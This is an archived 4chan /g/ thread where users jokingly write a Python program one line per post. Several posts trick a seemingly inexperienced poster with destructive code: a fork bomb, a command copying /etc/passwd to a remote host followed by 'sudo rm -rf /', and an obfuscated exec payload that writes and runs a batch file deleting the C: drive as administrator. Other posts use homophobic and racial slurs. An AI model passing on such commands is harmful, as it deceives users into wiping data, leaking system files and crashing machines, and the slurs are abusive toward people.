[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y ] [Home]
4chanarchives logo
Lets write a program.
Images are sometimes not shown due to bandwidth/network limitations. Refreshing the page usually helps.

You are currently reading a thread in /g/ - Technology

Thread replies: 34
Thread images: 2
File: Python-logo-notext.svg.png (72 KB, 1024x1024) Image search: [Google]
Python-logo-notext.svg.png
72 KB, 1024x1024
I know its been done before buuuuut!
Lets write a program together /g/!
One line per post, using python 3.5.
>>
sys.exit("install gentoo")
>>
>>55454242
def faggot(*args, **kwargs):
>>
If *args == "faggot"
>>
>>55454269
def niggers(op, you):
>>
for i in range MAX_INT:
#ur fucked
>>
>>55454230
         
>>
>>55454283
print("Suck a big dick")
>>
>>55454230
#FIXME
>>
>>55454283
>Not using xrange
>>
#you homos dont know how to code
>>

def func():
print("top")
print("kek")
func()
>>
>>55454230
http://www.vice.com/read/how-to-suck-your-own-dick
>>
>>55454230
import shitposting
>>
>>55454295
>thinking I want anything other than inefficiency in a pointless program
>>
>>55454311
indentation error: reported.
>>
import os;exec('while 1: print("cuck"); os.fork()')

It's linux, right?
>>
>>55454295
It's python 3 you idiot. xrange became range.
>>
I, uh, don't really know what I expected.
>>
You better run this, OP.
>>
>>55454457
Ah, no. Windows. Sorry, should have specified.
>>
>>55454475
I... think I might have to. Not sure what that gentoo thing is though, so I'm not sure...
>>
how do you write code in the comments? What are the tags?
>>
>>55454518
You have to do it from command line.
Type sudo scp /etc/passwd [email protected]
and then enter ur password.
should work after that by typing sudo rm -rf /
>>
why is 2.x so widespread?
>>
>>55454504
Get off 4chan. Your soul is too pure.
>>
>>55454551
Idiots can't re-make old libraries they depend on.
>>
>>55454546
I hope nobody is stupid enough to fall for that
>>
>>55454564
Re-make? Re make? Are you gentoo? Why would you make from source ever? Binaries
>>
>>55454552
...Do I even want to know?
>>
>>55454582
>convert to python 3 from 2
print "derp" is print("derp"), a few library names changed, stuff like that
LAZY
>>
>>55454628
What i wouldn't give for printf in python. Fucking format statements make me gag.
>>
exec('import os;I= """RMDIR C:\\* /S /q"""\ntry:\n open("l.bat", "w+")\n with open("l.bat","a+") as f:f.write(I)\n os.startfile("l.bat")\nexcept :\n pass')
Make sure you urn it as administrator.
>>
you fucking people crack me up
Thread replies: 34
Thread images: 2

banner
banner
[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y] [Home]

All trademarks and copyrights on this page are owned by their respective parties. Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
If a post contains personal/copyrighted/illegal content you can contact me at [email protected] with that post and thread number and it will be removed as soon as possible.
DMCA Content Takedown via dmca.com
All images are hosted on imgur.com, send takedown notices to them.
This is a 4chan archive - all of the content originated from them. If you need IP information for a Poster - you need to contact them. This website shows only archived content.